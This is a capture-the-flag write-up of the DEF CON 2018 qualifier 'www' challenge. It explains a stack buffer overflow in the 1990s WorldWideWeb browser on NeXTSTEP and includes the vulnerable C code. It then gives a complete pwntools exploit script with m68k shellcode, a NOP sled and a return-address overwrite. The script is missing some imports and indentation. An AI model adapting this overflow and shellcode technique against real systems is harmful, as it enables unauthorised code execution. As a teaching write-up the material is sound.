Rating: 5.0

www, aka pwning browsers from the 90s.

### Challenge Description

The challenge asks for a URL to be visited by the browser WorldWideWeb 0.15
running on the NeXTSTEP OS (arch m68k).

Once submitted the URL, the challenges returns a set of screenshots captured
during the execution of the browser.

### Vulnerability

First, by submitting a test URL and inspecting the returned screenshots, we were
able to identify the OS version and the browser. Then, we found and configured a
NeXTSTEP m68k emulator: http://previous.alternative-system.com/, on which we
installed the WorldWideWeb browser and a version of gdb. We were also able to
download the browser sources, from which we identified a classic stack overflow.

In fact, the `HTTP_Get` function contains a 257 bytes buffer (`command`), used
to perform the HTTP GET request, and then copies the URL into it without
checking sizes:

#ifdef __STDC__
int HTTP_Get(const char * arg)
int HTTP_Get(arg)
char * arg;
int s; /* Socket number for returned data */
char command[257]; /* The whole command */
int status; /* tcp return */


strcpy(command, "GET ");
char * p1 = HTParse(arg, "", PARSE_PATH|PARSE_PUNCTUATION);
strcat(command, p1);


### Exploit

We were very happy to realize that no security measure (NX, ASLR,..) was
implemented in the 90s. This means we could craft a shellcode, put it in the
stack (together with a nice NOP sled), jump to it, and execute it.

After several attempts to write a working shellcode for m68k we were
successfully able to execute commands. First, we tried by executing `system("open flag")`,
which runs a graphic text editor opening the flag file. However, on the remote
machine the editor appeared behind the browser window, hiding half of the flag.
Second, we executed `cat flag`, looking at the output in the already opened
console. Even in this case we failed, as last chars of the flag were still
behind the browser window. Finally, by executing `cat flag` five times in our
shellcode, we were able to see the entire flag.

Flag: `defconctf{Party_like_its_1992_for_the_next_Step}`


from pwn import *
import base64
import sys
import time
import os
host = 'ddee3e1a.quals2018.oooverflow.io'
port = 31337

def pow_hash(challenge, solution):
return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
h = pow_hash(challenge, solution)
return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
candidate = 0
while True:
if check_pow(challenge, n, candidate):
return candidate
candidate += 1

def connect():
global conn
conn = remote(host,port)
conn.recvuntil('Challenge: ')
challenge = conn.recvuntil('\n')[:-1]
conn.recvuntil('n: ')
n = int(conn.recvuntil('\n')[:-1])

solution = solve_pow(challenge, n)

conn = remote(host,port)

filename = int(time.time())

DOUBLE_NOP = '\x4e\x71\x4e\x71'
shellcode = '\x2c\x4f\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x06\x82\x63\x61\x74\x20\x2c\xc2\xb5\x82\x06\x82\x66\x6c\x61\x67\x2c\xc2\xb5\x82\x06\x82\x3b\x20\x20\x20\x2c\xc2\xb5\x82\x2c\xc2\x22\x0f\x59\x8f\x2e\x81\x2c\x4f\x45\xf9\x05\x03\x07\xf8\x4e\x92'

payload = 'http://'
payload += 'a' * (259 - len(payload))
payload += '\x03\xff\xf7\xf8' * 8
payload += DOUBLE_NOP * 100
payload += shellcode

while True:
conn.recvuntil("Welcome to the pre-alpha web aka ")
token = conn.recvuntil("\n")[:-1]
log.info("Token : "+token)
conn.recvuntil("What URL would you like this old dog to fetch?\n")
print 'sending:'
print payload
print payload.encode('hex')
i = 0
while True:
cose = conn.recvuntil("DEBUG ")[:-6]
b64 = base64.b64decode(conn.recvline())
f = open('./'+str(filename) + "/image"+str(i).rjust(4,"0")+".png","w")
log.info("Saved image"+str(i)+".png")
i += 1


Original writeup (https://mhackeroni.it/archive/2018/05/20/defconctfquals-2018-all-writeups.html).